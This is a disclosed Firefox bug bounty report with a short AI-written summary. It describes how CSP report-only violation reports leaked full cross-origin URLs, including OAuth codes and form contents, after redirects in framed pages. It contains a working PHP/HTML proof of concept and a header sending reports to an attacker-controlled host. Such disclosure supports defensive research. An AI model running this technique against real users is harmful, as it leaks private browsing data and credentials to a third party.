CSP violation report can be made to leak cross origin information from embedded page (bypassing SOP)
Firefox's CSP reporting implementation leaks full cross-origin URLs in violation reports, including paths and query strings, when a framed page redirects. An attacker can embed a victim page with a report-only CSP and collect sensitive URL data such as OAuth codes or form contents.
Originally disclosed on Mozilla
- Fixed in 5 months
- Paid in 5 months
- Disclosed after 5 months
I had some difficulties to give this a proper name, but I hope it can be clarified by the content of the report. Please rename it as you see fit.
I have found an issue in Firefox implementation of CSP reporting directives, that can be used by a malicious user to leak full URL's (Including scheme, authorization, domain, port, path and query. Only excluding fragment) from a victim user's cross-origin (and cross site) activity. This can in the worst case leak highly sensitive information such as OAuth codes, user form content and similar information present in URLs.
The problem arise due to a flaw in the implementation of handling of redirects in CSP reporting directives. A malicious user can create a page with a "Content-Security-Policy-Report-Only" header that restrict what URLs are frameable in the page. Assuming this header
Content-Security-Policy-Report-Only: frame-src 'none'; report-uri https://example.com
Any attempt of framing a page will result in a violation and a report being sent to https://example.com. This report will contain some information of the violation and in particular it will contain the "blocked-uri". To avoid leaking cross-origin information, w3c specs have some restrictions on what is allowed in the blocked-uri part of the report. See
https://w3c.github.io/webappsec-csp/#security-violation-reports
The above link seems to only discuss redirects (which I will describe as problem number 1 below), but this page on MDN
https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP#sample_violation_report
also suggests that the full path should be redacted even on initial cross-origin requests.
"As you can see, the report includes the full path to the violating resource in blocked-uri. This is not always the case. For example, if the signup.html attempted to load CSS from http://anothercdn.example.com/stylesheet.css, the browser would not include the full path, but only the origin (http://anothercdn.example.com)"
The current implementation in Firefox break these rules in two ways:
Leaking cross-origin information in blocked-uri on original request
As you can read in my second link above, Mozilla states that when making a cross-origin request that is blocked by a CSP rule, the "blocked-uri" part of the report should only include the origin. This is not the case in Firefox at the moment. Given the CSP header
Content-Security-Policy-Report-Only: frame-src 'none'; report-uri https://attacker.example.com
And the page content
<iframe src="https://a:[address removed]/links.html?test=test#test"></iframe>Will result in a report sent with this information
"blocked-uri": "https://a:[address removed]/links.html?test=test"
This is in contrast to Chrome and Safari that will respond with this report
"blocked-uri": "https://sub1.example.com"
This is probably a minor issue as the user in control of the main page (implementing the CSP) could possibly access DOM object and get similar information. But there might be edge cases where this is an unwanted leakage.
Leaking cross-origin full URLs when a framed page redirects
A lot worse than the above leak is how Firefox handles "in-frame redirects" from cross-origin content. This attack is a proper bug and not only an interpretation of the specs.
By setting a Content-Security-Policy-Report-Only instead of a Content-Security-Policy a malicious page can frame another page, and the victim user will be able to navigate this embedded page without any notification that all navigation will violate the CSP and thus send reports to the configured report-uri. Normal cross-origin navigation in such a frame will result in a report containing blocked-uri of only the violating origin (as it should). Like this
"blocked-uri": "https://sub1.example.com"
And even if the attacker can "trace" the user's action through origins this way, I think that this is "by design" that all subsequent navigation also triggers the CSP violation. The big problem though is when any subsequent navigation encounters a redirect, then Firefox generates two violation reports, one containing only the origin but one containing the full pre-redirect URL. To make an example (with frame-src 'none')
- Page attacker.com embeds victim1.com in an iframe (this will trigger a first report containing the full URL as per the first issue above)
- victim.com contains a link to https://victim2.com/test?test=test, clicking it will trigger a regular report containing only the origin of victim2.com
- victim2.com contains a link to https://victim3.com/test?test=test but victim3.com redirects to victim3.com/login now (because of the redirect) there will be two reports generated. One containing the origin of victim3 but also one containing the full pre redirect URL https://victim3.com/test?test=test
Notice that the attacker's page which is at a completely different origin (and site), will leak data from a cross origin embedded page. Redirects like these are quite common when a user either use some OAuth flows and also when pages deal with form data requests, making the likelihood of a redirect containing sensitive data high.
A restriction to this attack is that the victim page must be frameable.
Example
To test this behavior you can use my example page. I host a PHP page that will add a CSP-report url given as a query parameter. This page will frame another page hosted on GitHub pages. The GitHub pages are configured with a custom domain. So when trying to access the GitHub page directly, it will make a redirect to the configured domain. This was the easiest way for me to show off the impact, it can probably be easier researched by setting up some properly hosted domains (or spoof them with /etc/hosts)
- Set up some sort of "catch server" to collect the CSP reports (i used webhook.site for this)
- Go to https://joaxcar.com/frame.php?url=YOUR_SERVER (and replace YOUR_SERVER with the catch server)
- The page will contain one frame at the top just proving the first described issue (the page does not exist, but the report is sent anyway). Then the page contains a frame of my page https://sub1.joaxcar.com this page contains one regular link, one link that will cause a redirect and one form that on submission will make a redirect. Click around
- Check the report logs
Verions
Tested on version 104.0.2 (64-bit) on Mac-OS 12.5.1
Test code
PHP site:
<?php
header("Content-Security-Policy-Report-Only: frame-src 'none'; img-src 'none'; report-uri " . $_GET["url"]);
?>
<html>
<body>
<h2>A frame to test leakage of embeded cross origin resource</h2>
<iframe src="https://a:[address removed]/links.html?test=test#test"></iframe>
<h2>A frame to test embeded cross origin navigation</h2>
<iframe src="https://sub1.joaxcar.com/links.html"></iframe>
</body>
</html>
HTML site hosted on other origin:
<html>
<head></head>
<body>
<a href="https://sub1.joaxcar.com/links.html?code=123abc#test">regular link</a>
<br/>
<a href="https://joaxcar.github.io/sop/links.html?code=123abc#test">redirect link</a>
<br/>
<h3>Redirect form</h3>
<form action="https://joaxcar.github.io/sop/links.html">
<input type=text name=text value=test>
<input type=submit>
</form>
</body>
</html>
Please ask if anything is unclear, as I had some trouble minifying the POC
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely Firefox's CSP reporting implementation fails to redact the full URL in the blocked-uri field for cross-origin requests and for redirects, contrary to the specification.
Impact
An attacker could leak full cross-origin URLs, including sensitive data like OAuth codes and form contents, from a framed victim page, provided the victim page is frameable.
What the attacker needed
Victim uses Firefox; victim page is frameable; attacker can host a page with CSP header
The fix
Firefox should redact the blocked-uri to only the origin for cross-origin requests and redirects, as per the CSP specification.
How it was found
- Set up a server to collect CSP reports.
- Visit the attacker's page that includes a CSP report-only header and frames a victim page.
- Click links or submit forms inside the framed page to trigger navigations and redirects.
- Check the collected reports for leaked full URLs.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When a website says 'don't load this other site', the browser can send a report to a server the website chooses. Firefox was putting the full web address of the blocked site into that report, even when the site was on a different domain. This means an attacker could trick a victim into visiting a page that frames a sensitive site, and then learn the full URLs the victim visits inside that frame, including secret codes.
What is Info disclosure?
Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.